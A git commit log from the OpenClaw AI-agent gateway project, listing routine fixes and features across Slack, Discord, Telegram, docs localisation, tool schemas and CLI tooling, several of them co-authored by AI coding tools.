The memory-lancedb extension declares openai and @lancedb/lancedb as
dependencies, but these may not be available at runtime due to pnpm
hoisting behavior with native bindings. This adds an explicit install
step after the build to ensure the extension's dependencies are present.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 23:52:23 +01:00
Zaf (via OpenClaw)
34b18ea9db fix: respect OPENCLAW_HOME for isolated gateway instances
When OPENCLAW_HOME is set (indicating an isolated instance), the gateway
port should be read from config rather than inheriting OPENCLAW_GATEWAY_PORT
from a parent process. This fixes running multiple OpenClaw instances
where a child process would incorrectly use the parent's port.

Changes:
- resolveGatewayPort() now prioritizes config.gateway.port when OPENCLAW_HOME is set
- Added getConfigPath() function for runtime-evaluated config path
- Deprecated CONFIG_PATH constant with warning about module-load-time evaluation
- Updated gateway run command to use getConfigPath() instead of CONFIG_PATH

Fixes the issue where spawning a sandbox OpenClaw instance from within
another OpenClaw process would fail because OPENCLAW_GATEWAY_PORT from
the parent (set in server.impl.ts) would override the child's config.
2026-02-16 23:52:16 +01:00
Jadilson Guedes
4641e452dd fix(docs): update English fallback links after file reorganization
After rebasing onto current main, many English docs were reorganized
   into subdirectories. This updates all "Open English doc" fallback links
   in pt-BR and es translations to point to the correct new paths.

   Fixed 30 broken links across 15 pages × 2 languages:
   - /bedrock → /providers/bedrock
   - /broadcast-groups → /channels/broadcast-groups
   - /debugging → /help/debugging
   - /environment → /help/environment
   - /hooks → /cli/hooks
   - /scripts → /help/scripts
   - /multi-agent-sandbox-tools → /tools/multi-agent-sandbox-tools
   - /testing → /help/testing
   - /token-use → /reference/token-use
   - /concepts/channel-routing → /channels/channel-routing
   - /concepts/group-messages → /channels/group-messages
   - /concepts/groups → /channels/groups
   - /start/pairing → /cli/pairing
   - /gateway/security/formal-verification → /security/formal-verification
   - /hooks/soul-evil → /cli/hooks (no English version exists)

   Verified with: node scripts/docs-link-audit.mjs (0 broken links)
2026-02-16 23:52:06 +01:00
Jadilson Guedes
84764eea52 fix(docs): remove dead references to railway, render and northflank
Remove references in the navigation to deployment pages that do not exist:
- railway.md
- render.md
- northflank.md

These pages were listed in docs.json but the files do not exist
in any of the languages (en, es, pt-BR, zh-CN), causing broken links
in the documentation.

Fixes issues identified in the review of PR #14415.
2026-02-16 23:52:06 +01:00
xvlad
97bdfb6aac docs: scaffold full es and pt-BR doc routes with localized placeholders 2026-02-16 23:52:06 +01:00
xvlad
72676d318e docs: replace english locale mirrors with translated landing pages 2026-02-16 23:52:06 +01:00
xvlad
8bccf9e8ed docs: expand es and pt-BR docs trees 2026-02-16 23:52:06 +01:00
Yash
59e0e7e4ff Onboarding: fix webchat URL loopback and canonical session 2026-02-16 23:52:00 +01:00
Yaroslav Boiko
a02bcb3620 fix(test): add missing media dedup state fields to mock contexts
Pre-existing test mocks lacked pendingMessagingMediaUrls and
messagingToolSentMediaUrls fields added by the media dedup feature,
causing runtime errors in handleToolExecutionEnd.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 23:51:51 +01:00
Yaroslav Boiko
838259331f fix(discord): add media dedup production code for messaging tool pipeline
Wire media URL tracking through the embedded agent pipeline so that
media already sent via messaging tools is not delivered again by the
reply dispatcher.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 23:51:51 +01:00
Yaroslav Boiko
c7681c3cff test(media-dedup): add missing coverage for Discord media dedup wiring
Cover three integration points where media dedup could silently regress:
- trimMessagingToolSent FIFO cap at 200 entries
- buildReplyPayloads media filter wiring (new test file)
- followup-runner messagingToolSentMediaUrls filtering
2026-02-16 23:51:51 +01:00
El-Fitz
4640999e77 test: add per-account action gating tests for Discord and Telegram handlers 2026-02-16 23:51:47 +01:00
El-Fitz
a03fec2a3f fix: use per-account action config for Discord and Telegram gating
listActions now unions gates across all enabled accounts (matching the
Signal pattern), and handleDiscordAction/handleTelegramAction resolve
through the per-account merged config instead of reading only the
top-level channel actions object.  This lets account-specific
moderation/sticker/presence overrides take effect at both listing and
execution time.
2026-02-16 23:51:47 +01:00
Colin
1faf8e8e9d Slack: add external select flow for large arg menus 2026-02-16 23:51:44 +01:00
Colin
7a4efbb030 Slack: capture workflow button interaction metadata 2026-02-16 23:51:44 +01:00
Colin
bd20c1e24d Slack: include stacked modal lifecycle context 2026-02-16 23:51:44 +01:00
Colin
ce973332f6 Slack: add media block fallback text handling 2026-02-16 23:51:44 +01:00
Colin
7aaf1547df Slack: escape mrkdwn in interaction confirmations 2026-02-16 23:51:44 +01:00
Colin
a7c1b8aea7 Slack: attribute interaction confirmations and structured selects 2026-02-16 23:51:44 +01:00
Colin
9fcb93dd13 Slack: add rich text previews for modal inputs 2026-02-16 23:51:44 +01:00
Colin
05ab147081 Slack: expand advanced modal controls payloads and confirms 2026-02-16 23:51:44 +01:00
Colin
5bbbc3e3e6 Slack: show picker values in interaction confirmations 2026-02-16 23:51:44 +01:00
Colin
5f9a04604e Slack: add header and context blocks to arg menus 2026-02-16 23:51:44 +01:00
Colin
7c5529a153 Slack: enrich modal input payload normalization 2026-02-16 23:51:44 +01:00
Colin
d1aa2323bd Slack: update action rows for select interactions 2026-02-16 23:51:44 +01:00
Colin
1bfdd4e237 Slack: add overflow menus for slash arg choices 2026-02-16 23:51:44 +01:00
Colin
296ba8e934 Slack: enrich block action context payloads 2026-02-16 23:51:44 +01:00
Colin
7e42408ade Slack: dedupe normalized interaction selections 2026-02-16 23:51:44 +01:00
Colin
6e790303df Slack: validate runtime blocks in send and edit paths 2026-02-16 23:51:44 +01:00
Colin
c01c6b7079 Slack: expand interaction payload normalization coverage 2026-02-16 23:51:44 +01:00
Colin
ac969e602c Slack: add modal private metadata utilities 2026-02-16 23:51:44 +01:00
Colin
82d132f1ba Slack: add send blocks behavior tests 2026-02-16 23:51:44 +01:00
Colin
e8a1d4171d Slack: guard select option value length in slash menus 2026-02-16 23:51:44 +01:00
Colin
c943ffab7c Slack: reject blocks plus media in send paths 2026-02-16 23:51:44 +01:00
Colin
10d876e319 Slack: validate blocks input shape centrally 2026-02-16 23:51:44 +01:00
Colin
e023c84d78 Slack: infer interaction channel type from channel ID 2026-02-16 23:51:44 +01:00
Colin
378e18b75b Slack: support blocks in plugin edit action 2026-02-16 23:51:44 +01:00
Colin
3912a2264b Slack: support blocks in plugin send action 2026-02-16 23:51:44 +01:00
Colin
08bc1dce6a Slack: support Block Kit blocks in editMessage 2026-02-16 23:51:44 +01:00
Colin
c9684a2678 Slack: support Block Kit blocks in sendMessage actions 2026-02-16 23:51:44 +01:00
Colin
bd17587b2a Slack: route modal interactions via private metadata 2026-02-16 23:51:44 +01:00
Colin
d57cbcf713 Slack: use static_select for large slash arg menus 2026-02-16 23:51:44 +01:00
Colin
cf0ca47a82 Slack: capture Block Kit view closed events 2026-02-16 23:51:44 +01:00
Colin
e7cded82b2 Slack: capture Block Kit modal submissions 2026-02-16 23:51:44 +01:00
Colin
21ba564fb0 Slack: fix CI typing for interaction handler 2026-02-16 23:51:44 +01:00
Colin
55b70aa8b4 Slack: register interaction event handler 2026-02-16 23:51:44 +01:00
Colin
9419d029c9 Slack: enrich Block Kit interaction events 2026-02-16 23:51:44 +01:00
Sean McLellan
06b961b037 fix: flatten remaining anyOf/oneOf in Gemini schema cleaning
The Cloud Code Assist API rejects anyOf/oneOf in tool schemas, not just
unsupported keywords. The image tool (index 21) had:
  image: { anyOf: [{ type: "string" }, { type: "array" }] }
which caused "JSON schema is invalid" errors when forwarded to Anthropic
via google-antigravity.

simplifyUnionVariants only handles literal unions and single non-null
variants. This adds a fallback in cleanSchemaForGeminiWithDefs that
flattens any remaining anyOf/oneOf to a simple type schema.

Also reverts the previous provider-aware normalizeToolParameters and
sanitizeToolsForGoogle changes, which were incorrect — the cleaning IS
needed for Google's API regardless of which downstream model is used.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 23:51:41 +01:00
Sean McLellan
1bbf6206d5 fix: exclude google-antigravity from Gemini schema sanitization
google-antigravity serves Anthropic models (e.g. claude-opus-4-6-thinking),
not Gemini. sanitizeToolsForGoogle was stripping JSON Schema keywords
(minimum, maximum, format, etc.) needed for Anthropic's draft 2020-12
compliance, causing "JSON schema is invalid" rejections on tool 21
(web_search).

This was the actual root cause — the earlier normalizeToolParameters
fix was being overridden by this second sanitization pass.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 23:51:41 +01:00
Sean McLellan
fe94e83f6b fix: make tool schema normalization provider-aware
The cleanSchemaForGemini function was being applied universally to all
tools for all providers, stripping out valid JSON Schema keywords like
minimum/maximum that are required by Anthropic's draft 2020-12 validation.

This caused the 21st tool (web_search) to fail with google-antigravity
because its count parameter's constraints were being removed.

Changes:
- Modified normalizeToolParameters to accept modelProvider option
- Only apply Gemini-specific cleaning when provider is Gemini/Google
- Skip aggressive cleaning for Anthropic/google-antigravity providers
- Updated call site in createOpenClawCodingTools to pass modelProvider

Fixes schema validation errors for Anthropic models served via google-antigravity.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 23:51:41 +01:00
Santosh
382158fb30 fix(ui): auto-refresh sessions list after deletion
Remove dead loadSessions call from deleteSession controller that was
silently failing due to sessionsLoading guard. The refresh now happens
explicitly in the UI layer after successful deletion.

- src/ui/controllers/sessions.ts: remove internal loadSessions call
- src/ui/app-render.ts: add async onDelete handler with explicit refresh
2026-02-16 23:51:37 +01:00
Jadilson Guedes
66fc12a40c style: apply oxfmt formatting to app-render.ts 2026-02-16 23:51:34 +01:00
Jadilson Guedes
1bb2d65ff3 fix: remove unused imports and simplify boolean comparison 2026-02-16 23:51:34 +01:00
Jadilson Guedes
fe613297a7 fix: add type assertions for unknown value indexing in translate.ts 2026-02-16 23:51:34 +01:00
Jadilson Guedes
d30f5a2438 fix: resolve linting issues (curly braces, unused imports, any types) 2026-02-16 23:51:34 +01:00
Jadilson Guedes
075317ab16 fix: correct function names in overview.ts and add type assertion in translate.ts 2026-02-16 23:51:34 +01:00
Jadilson Guedes
f20bef3d79 fix: add .ts extensions to i18n imports for ESM compatibility 2026-02-16 23:51:34 +01:00
Jadilson Guedes
e0c45eab49 style: apply oxfmt formatting 2026-02-16 23:51:34 +01:00
Jadilson Guedes
98ed2e7130 fix(i18n): add missing agents and usage tabs to zh-TW locale 2026-02-16 23:51:34 +01:00
Jadilson Guedes
cf44a0c4c1 fix(ui): localize language selector and validate stored locale
- Add translation keys for language selector label and language names
   - Update all locale files (en, pt-BR, zh-CN, zh-TW) with:
     - overview.access.language key for selector label
     - languages.* keys for language display names
   - Localize language selector in overview.ts to react to locale changes
   - Add validation for stored locale in app.ts to prevent invalid values
     from causing silent failures in setLocale

   Fixes issues identified in code review:
   - Unlocalized language selector inconsistency
   - Settings locale type drift risk
2026-02-16 23:51:34 +01:00
Manus AI
a9c952b13a fix(i18n): resolve dynamic import warnings and add zh-TW locale 2026-02-16 23:51:34 +01:00
Manus AI
4b17ce7f48 feat(ui): add i18n support with English, Chinese, and Portuguese 2026-02-16 23:51:34 +01:00
Marcus Widing
a03098ca49 docs(cron): add subagent announce retry troubleshooting section 2026-02-16 23:51:29 +01:00
Marcus Widing
348ea6be96 docs: fix missing period in fly.io frontmatter description 2026-02-16 23:51:25 +01:00
saurav470
d2dd282034 docs(exec): document pty for TTY-only CLIs (gog) 2026-02-16 23:51:22 +01:00
yinghaosang
f275611862 fix(sandbox): restore SHA-1 in slugifySessionKey to preserve workspace dirs (#18503) 2026-02-16 23:51:19 +01:00
norunners
d799a3994f fix(doctor): reconcile gateway service token drift after re-pair
`openclaw doctor` audited gateway service runtime/path settings but did not
check whether the daemon's `OPENCLAW_GATEWAY_TOKEN` matched
`gateway.auth.token` in `openclaw.json`.

After re-pairing or token rotation, the config token and service env token can
drift. The daemon may keep running with a stale service token, leading to
unauthorized handshake failures for cron/tool clients.

Add a gateway service audit check for token drift and pass
`cfg.gateway.auth.token` into service audits so doctor treats config as the
source of truth when deciding whether to reinstall the service.

Key design decisions:
- Use `gateway.auth.token` from `openclaw.json` as the authority for service
  token drift detection
- Only flag mismatch when an authoritative config token exists
- Keep fix in existing doctor service-repair flow (no separate migration step)
- Add focused tests for both audit mismatch behavior and doctor wiring

Fixes #18175
2026-02-16 23:51:16 +01:00
j2h4u
5f821ed067 fix(session): prevent stale threadId leaking into non-thread sessions
When a user interacts with the bot inside a DM topic (thread), the
session persists `lastThreadId`. If the user later sends a message
from the main DM (no topic), `ctx.MessageThreadId` is undefined and
the `||` fallback picks up the stale persisted value — causing the
bot to reply into the old topic instead of the main conversation.

Only fall back to `baseEntry.lastThreadId` for thread sessions where
the fallback is meaningful (e.g. consecutive messages in the same
thread). Non-thread sessions now correctly leave threadId unset.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 23:51:12 +01:00
Brandon Wise
01b37f1d32 fix(telegram): handle large file getFile errors gracefully
Catch GrammyError when getFile fails for files >20MB (Telegram Bot API limit).
Log warning, skip attachment, but continue processing message text.

- Add FILE_TOO_BIG_RE regex to detect 'file is too big' errors
- Add isFileTooBigError() and isRetryableGetFileError() helpers
- Skip retrying permanent 400 errors (they'll fail every time)
- Log specific warning for file size limit errors
- Return null so message text is still processed

Fixes #18518
2026-02-16 23:51:09 +01:00
Dinakar Sarbada
1953b938e3 test(heartbeat): update runner tests to match current implementation 2026-02-16 23:51:05 +01:00
Gustavo Madeira Santana
d35172cce5 docs: add changelog entry for Telegram media placeholder fix 2026-02-16 23:50:59 +01:00
yinghaosang
0587e4cc73 fix(agents): restrict MEDIA: token parsing to line start in tool results (#18510) 2026-02-16 23:50:59 +01:00
Hudson
93fbe6482b fix(sessions): archive transcript files when pruning stale entries
pruneStaleEntries() removed entries from sessions.json but left the
corresponding .jsonl transcript files on disk indefinitely.

Added an onPruned callback to collect pruned session IDs, then
archives their transcript files via archiveSessionTranscripts()
after pruning completes. Only runs in enforce mode.
2026-02-16 23:50:56 +01:00
Hudson
441401221d fix(media): clean expired files in subdirectories
cleanOldMedia() only scanned the top-level media directory, but
saveMediaBuffer() writes to subdirs (inbound/, outbound/, browser/).
Files in those subdirs were never cleaned up.

Now recurses one level into subdirectories, deleting expired files
while preserving the subdirectory folders themselves.
2026-02-16 23:50:56 +01:00
gitwithuli
c89eb351ea style: run oxfmt formatting on doctor-config-flow.ts
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 23:50:53 +01:00
gitwithuli
304bfefaf9 chore: remove unused channelName parameter from ensureWildcard
Addresses review feedback — channelName was declared but only
prefix was used for change messages.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 23:50:53 +01:00
gitwithuli
b05273de61 fix: doctor --fix auto-repairs dmPolicy="open" missing allowFrom wildcard
When a channel is configured with dmPolicy="open" but without
allowFrom: ["*"], the gateway rejects the config and exits.
The error message suggests running "openclaw doctor --fix", but
the doctor had no repair logic for this case.

This adds a repair step that automatically adds "*" to allowFrom
(or creates it) when dmPolicy="open" is set without the required
wildcard. Handles both top-level and nested dm.allowFrom, as well
as per-account configs.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 23:50:53 +01:00
zisisp
71dad89193 Revert "skills/video-quote-finder: add markdown PR hygiene checks"
This reverts commit 38c0d42542.
2026-02-16 23:50:47 +01:00
zisisp
d0793cbb9b skills/video-quote-finder: add markdown PR hygiene checks 2026-02-16 23:50:47 +01:00
zisisp
28216956ec docs: use markdown link to satisfy no-bare-urls lint 2026-02-16 23:50:47 +01:00
zisisp
84a37129fd docs: wrap original prompt blockquote for lint compliance 2026-02-16 23:50:47 +01:00
zisisp
e2f28ff4cb skills/video-quote-finder: strip URL fragments before adding timestamp 2026-02-16 23:50:47 +01:00
zisisp
61726a2fbd skills: add video-quote-finder with timestamp links 2026-02-16 23:50:47 +01:00
Colin
89ce1460e1 feat(slack): add configurable stream modes 2026-02-16 23:50:42 +01:00
Colin
087edec93f feat(slack): add draft preview cleanup lifecycle 2026-02-16 23:50:42 +01:00
Colin
dfd5a79631 fix(slack): pass account token for draft final chat.update 2026-02-16 23:50:42 +01:00
Colin
bec974aba9 feat(slack): stream partial replies via draft message updates 2026-02-16 23:50:42 +01:00
gleb
78c34bcf33 Add runtime quiting functionality to doctor.ts 2026-02-16 23:50:37 +01:00
gleb
2540417170 Add to exit process when doctor has finished 2026-02-16 23:50:37 +01:00
Mrseenz
b6d934c2c7 Agents: improve Windows scaffold helpers for venture studio 2026-02-16 23:50:34 +01:00
Winry
c15385fc94 fix(telegram): enable voice-note transcription in DMs and add CLI fallback
The preflight transcription condition only triggered for group chats
(isGroup && requireMention), so voice notes sent in direct messages
were never transcribed — they arrived as raw <media:audio> placeholders.

This patch widens the condition to fire whenever there is audio and no
accompanying text, regardless of chat type.

It also adds a fallback path: if the standard media pipeline returns no
transcript (e.g. format mismatch, missing config), OpenClaw now calls
the configured whisper CLI command directly with the audio file, using
the same {{MediaPath}}/{{OutputBase}} template variables from config.

Co-Authored-By: TH <tzhsn.huang@gmail.com>
2026-02-16 23:50:31 +01:00
HAL
e8b03a8622 fix(agents): replace anyOf with string in image tool schema
Anthropic's API rejects `anyOf` in `input_schema`, causing all Claude
requests to fail when the image tool is registered. Replace
`Type.Union([Type.String(), Type.Array(Type.String())])` with
`Type.String()` — the execute handler already normalizes both string
and array inputs, so this is schema-only.

Fixes #18551
2026-02-16 23:50:27 +01:00
Nate Fikru
6d31d1ecc6 fix(plugins): enforce high-priority override precedence
Make before_agent_start override merging preserve the first defined
model/provider override so higher-priority hooks cannot be overwritten by
lower-priority handlers, and align the corresponding test title and
expectation with the intended precedence behavior.

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-02-16 23:50:24 +01:00
Nate Fikru
2456b17587 test(plugins): add Layer 1+2 tests for model override hook
Layer 1: Hook merger tests verify modelOverride/providerOverride are
correctly propagated through the before_agent_start merger with
priority ordering, backward compatibility, and field isolation.

Layer 2: Pipeline wiring tests verify the earlyHookResult passthrough
contract between run.ts and attempt.ts, graceful error degradation,
and that overrides correctly modify provider/model variables.

19 tests total across 2 test files.
2026-02-16 23:50:24 +01:00
Nate Fikru
b90eb51520 feat(plugins): add modelOverride/providerOverride to before_agent_start hook
Enable plugins to override the model and provider for agent runs by
returning modelOverride/providerOverride from the before_agent_start
hook. The hook is now invoked early in run.ts (before resolveModel)
so overrides take effect. The result is passed to attempt.ts via
earlyHookResult to prevent double-firing.

This enables security-critical use cases like routing PII-containing
prompts to local models instead of cloud providers.
2026-02-16 23:50:24 +01:00
Hubert
15dd2cda20 feat: show transcript file size in session status
Add transcript size monitoring to /status and session_status tool.
Displays file size and message count (e.g. '📄 Transcript: 1.2 MB,
627 messages'). Shows ⚠️ warning when transcript exceeds 1 MB, which
helps catch sessions approaching the compaction death spiral described
in #13624.

- getTranscriptInfo() reads JSONL file stat + line count
- Wired into both /status command and session_status tool
- 8 new tests covering file reading, formatting, and edge cases
2026-02-16 23:50:21 +01:00
smartprogrammer93
fc6d53c895 fix: correct import path in test and restore deleted schema help entries 2026-02-16 23:50:18 +01:00
smartprogrammer93
6d2e3685d6 feat(tools): add URL allowlist for web_search and web_fetch
Add optional urlAllowlist config at tools.web level that restricts which
URLs can be accessed by web tools:

- Config types (types.tools.ts): Add urlAllowlist?: string[] to tools.web
- Zod schema: Add urlAllowlist field to ToolsWebSchema
- Schema help: Add help text for the new config fields
- web_search: Filter Brave search results by allowlist (provider=brave)
- web_fetch: Block URLs not matching allowlist before fetching
- ssrf.ts: Export normalizeHostnameAllowlist and matchesHostnameAllowlist

URL matching supports:
- Exact domain match (example.com)
- Wildcard patterns (*.github.com)

When urlAllowlist is not configured, all URLs are allowed (backwards compatible).

Tests: Add web-tools.url-allowlist.test.ts with 23 tests covering:
- URL allowlist resolution from config
- Wildcard pattern matching
- web_fetch error response format
- Brave search result filtering
2026-02-16 23:50:18 +01:00
Jean Carlos Nunez
e179d453c7 fix: resolve #12770 - update Antigravity default model and trim leading whitespace in BlueBubbles replies 2026-02-16 23:50:14 +01:00
OpenClaw Agent
0af795287a Fix: Doctor refers to deprecated auth command
Replaces deprecated 'openclaw auth add --provider' with
'openclaw configure --section provider' in doctor-memory-search.ts

Closes #18535
2026-02-16 23:50:11 +01:00
Aditya Singh
facfa410a7 fix(tool-display): satisfy format/lint and address review feedback
- extract web_search/web_fetch detail resolvers into common module\n- fix node -c classification so file path remains positional\n- remove dead git subcommands set\n- keep exec summary refinements (heredoc/node check/git -C/preamble strip)\n- make tests cover node -c syntax-check path\n- run format:check, tsgo, lint, and focused e2e tests
2026-02-16 23:50:08 +01:00
Aditya Singh
24f213e7ed feat(tool-display): add intent-first details and exec summaries
- add human-readable read/write/edit/attach details with path alias support\n- add explicit web_search/web_fetch phrasing (quoted query, mode/limit)\n- make detail text title-first by returning detail-only in formatters\n- add deterministic exec summarizer (wrappers, pipelines, heredoc, git/node/python heuristics, preamble stripping)\n- extend e2e coverage for file/web/exec cases
2026-02-16 23:50:08 +01:00
OscarMinjarez
b9c45d003d chore: format scripts/ui.js with oxfmt 2026-02-16 23:50:05 +01:00
OscarMinjarez
b60b44b42e fix(scripts): fix spawn EINVAL error on Windows in ui.js 2026-02-16 23:50:05 +01:00
Daniel Wondyifraw
290f337594 fix: remove references to non-existent test file 2026-02-16 23:50:01 +01:00
Daniel Wondyifraw
eec1f3e9db fix: address code review feedback - move test data, fix patterns, rewrite docs as RFC 2026-02-16 23:50:01 +01:00
Daniel Wondyifraw
5801c4f983 feat(telegram): add outbound sanitizer leak corpus and docs
- Add leak corpus test cases (tests/data/telegram_leak_cases.json)
- Add sanitizer documentation (docs/telegram-sanitizer.md)
- Block internal diagnostics from reaching users
- Strip wrapper artifacts from LLM output
- Static response for unknown slash commands
2026-02-16 23:50:01 +01:00
Jean Carlos Nunez
c08e8c0359 correct format 2026-02-16 23:49:58 +01:00
Jean Carlos Nunez
a0191426dc clean code - delete message 2026-02-16 23:49:58 +01:00
Jean Carlos Nunez
f476c8b48b Fix #12767: Heartbeat strip responsePrefix before HEARTBEAT_OK suppression 2026-02-16 23:49:58 +01:00
Shaun Mason
feed570984 fix: syncs all credential types to agent auth.json
Previously, the synchronization of credentials to the agent's  file was limited to  OAuth profiles. This prevented other providers and credential types from being correctly registered for agent use.

This update expands the synchronization to include ,  (mappedto ), and  credentials for all configured providers.

It ensures the agent's  accurately reflects available credentials, enabling proper authentication and model discovery.

The synchronization now:
- Converts all supported credential types.
- Skips profiles with empty keys.
- Preserves unrelated entries in the target .
- Only writes to disk when actual changes are detected.
2026-02-16 23:49:54 +01:00
Daniel Sauer
12ce358da5 fix(failover): recognize 'abort' stop reason as timeout for model fallback
When streaming providers (GLM, OpenRouter, etc.) return 'stop reason: abort'
due to stream interruption, OpenClaw's failover mechanism did not recognize
this as a timeout condition. This prevented fallback models from being
triggered, leaving users with failed requests instead of graceful failover.

Changes:
- Add abort patterns to ERROR_PATTERNS.timeout in pi-embedded-helpers/errors.ts
- Extend TIMEOUT_HINT_RE regex to include abort patterns in failover-error.ts

Fixes #18453

Co-authored-by: James <james@openclaw.ai>
2026-02-16 23:49:51 +01:00
Guy
32c66aff49 fix: add windowsHide: true to spawn in runCommandWithTimeout
Fixes flashing conhost.exe windows on Windows when exec module spawns
child processes. The windowsHide: true option prevents orphaned conhost.exe
processes and eliminates disruptive terminal window flashing.

Closes #18613
2026-02-16 23:49:47 +01:00
Daniel Sauer
20957efa46 fix(process): graceful process tree termination with SIGTERM before SIGKILL
Process trees (pty sessions, tool exec) were being SIGKILL'd immediately
without any grace period for cleanup. This prevented child processes from:
- Flushing buffers and closing files cleanly
- Closing network connections
- Terminating their own child processes
- Removing temporary files

Changes:
- Send SIGTERM to process group first (Unix)
- Wait configurable grace period (default 3s)
- Then SIGKILL if process still alive
- Windows: taskkill without /F first, then with /F after grace period
- Use unref() on timeout to not block event loop exit

Fixes #18619

Co-authored-by: James <james@openclaw.ai>
2026-02-16 23:49:44 +01:00
Tomas Hajek
19ae7a4e17 fix(session-memory): fallback to rotated transcript after /new
When /new rotates <session>.jsonl to <session>.jsonl.reset.*, the session-memory hook may read an empty active transcript and write header-only memory entries.

Add fallback logic to read the latest .jsonl.reset.* sibling when the primary file has no usable content.

Also add a unit test covering the rotated transcript path.

Fixes #18088
Refs #17563
2026-02-16 23:49:41 +01:00
Peter Steinberger
769f7631d5 refactor(test): dedupe duplicate dispatch test flow 2026-02-16 22:47:34 +00:00
Peter Steinberger
af5d4ac7d3 refactor(test): dedupe doctor legacy migration fixtures 2026-02-16 22:47:26 +00:00
Peter Steinberger
389eb8ba10 refactor(test): dedupe discord component registry fixtures 2026-02-16 22:43:37 +00:00
Peter Steinberger
abbe04b184 refactor(discord): share attachment media resolution loop 2026-02-16 22:43:30 +00:00
Peter Steinberger
1aabe9712a refactor(discord): dedupe reaction notification flow 2026-02-16 22:39:42 +00:00
Peter Steinberger
61859377a5 refactor(test): dedupe pi-tools loop detection test setup 2026-02-16 22:39:42 +00:00
Peter Steinberger
05bfb7f9f9 refactor(test): reuse discord message handler base context harness 2026-02-16 22:39:42 +00:00
Dakshay Mehta
8947d2dea5 Agents: format process poll backoff files 2026-02-16 23:32:12 +01:00
Dakshay Mehta
23f5cc80a4 Agents: wire command poll backoff into process poll 2026-02-16 23:32:12 +01:00
Peter Steinberger
054745a7e0 refactor(test): dedupe slack monitor event fixtures 2026-02-16 22:30:39 +00:00
Peter Steinberger
11f3da7669 refactor(test): dedupe cron service test harness setup 2026-02-16 22:30:39 +00:00
Peter Steinberger
21e5c0ce57 chore: reorder latest changelog bullets by user impact 2026-02-16 23:27:23 +01:00
Vignesh Natarajan
4e930db432 fix: guard reminder note (#18588) (thanks @vignesh07) 2026-02-16 14:13:17 -08:00
Seb Slight
0f6b39ea57 Docs/Changelog: add missing entry for #18586 (#18604)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 5134983645
Co-authored-by: sebslight <19554889+sebslight@users.noreply.github.com>
Co-authored-by: sebslight <19554889+sebslight@users.noreply.github.com>
Reviewed-by: @sebslight
2026-02-16 17:10:14 -05:00
Vignesh Natarajan
5a26d1c622 Agent: guard reminder promises behind cron scheduling 2026-02-16 14:07:16 -08:00
Seb Slight
0cff8bc4e6 fix(telegram): include DM topic thread id in replies (#18586) 2026-02-16 17:02:59 -05:00
pip-nomel
1567d6cbb4 feat(discord): download attachments from forwarded messages (#17049)
Co-authored-by: Shadow <shadow@openclaw.ai>
2026-02-16 15:23:40 -06:00
Shadow
c593709d25 Discord: add per-button component allowlist 2026-02-16 15:15:00 -06:00
Benjamin Jesuiter
fc8290af42 CLI: normalize help command description casing (#18569) 2026-02-16 22:10:21 +01:00
Benjamin Jesuiter
b25f334fa2 CLI: improve command descriptions in help output (#18486)
* CLI: clarify config vs configure descriptions

* CLI: improve top-level command descriptions

* CLI: make direct command help more descriptive

* CLI: add commands hint to root help

* CLI: show root help hint in implicit help output

* CLI: add help example for command-specific help

* CLI: tweak root subcommand marker spacing

* CLI: mark clawbot as subcommand root in help

* CLI: derive subcommand markers from registry metadata

* CLI: escape help regex CLI name
2026-02-16 22:06:25 +01:00
Shadow
05a83b9e97 Discord: add reusable component option 2026-02-16 14:22:49 -06:00
Shadow
fc60336c18 Discord: add native exec options 2026-02-16 14:18:17 -06:00
Sk Akram
e5eb5b3e43 feat: add stuck loop detection and exponential backoff infrastructure for agent polling (#17118)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: eebabf679b
Co-authored-by: akramcodez <179671552+akramcodez@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-16 15:16:35 -05:00
Vignesh Natarajan
1f99d82712 test (heartbeat): relax brittle reply option assertions 2026-02-16 11:57:32 -08:00
Shadow
3646625dc1 Infra: skip Discord text exec approvals 2026-02-16 13:53:12 -06:00
zerone0x
81d2a91a90 fix(discord): send initial message for non-forum thread creation (#18117)
Co-authored-by: Shadow <shadow@openclaw.ai>
2026-02-16 13:48:46 -06:00
victor-wu.eth
7c240a2b58 feat(discord): faster reaction status state machine (watchdog + debounce) (#18248)
* fix(discord): avoid unnecessary message fetches in reaction notifications

* style(discord): format reaction listener for CI

* feat(discord): add reaction status machine and fix tool/final wiring

* fix(discord): harden reaction status transitions and cleanup

* revert(discord): restore status-machine flow from 0a5a72204

* fix(auto-reply): restore lifecycle callback forwarding for channels

* chore(ci): add daily upstream sync workflow for custom branch

* fix(discord): non-blocking reactions and robust cleanup

* chore: remove unrelated workflow from Discord-only PR

* Discord: streamline reaction handling

* Docs: add Discord reaction changelog

---------

Co-authored-by: Shadow <hi@shadowing.dev>
2026-02-16 13:38:39 -06:00
Vignesh Natarajan
c953cfdee7 chore (changelog): note webchat command auth fix 2026-02-16 11:30:49 -08:00
Vignesh Natarajan
e95134ba3f fix (commands): keep webchat auth on internal provider 2026-02-16 11:30:49 -08:00
Shadow
72e228e14b Heartbeat: allow suppressing tool warnings (#18497)
* Heartbeat: allow suppressing tool warnings

* Changelog: note heartbeat tool-warning suppression
2026-02-16 13:29:24 -06:00
Latitude Bot
3238bd78d9 fix(discord): normalize bare numeric IDs in outbound target resolution
Bare numeric Discord IDs (e.g. '1470130713209602050') in cron
delivery.to caused 'Ambiguous Discord recipient' errors and silent
delivery failures.

Adds normalizeDiscordOutboundTarget() to the existing Discord
normalize module (channels/plugins/normalize/discord.ts) alongside
normalizeDiscordMessagingTarget. Defaults bare numeric IDs to
'channel:<id>', matching existing behavior.

Both the Discord extension plugin and standalone outbound adapter
use the shared helper via a one-liner resolveTarget.

Fixes #14753. Related: #13927
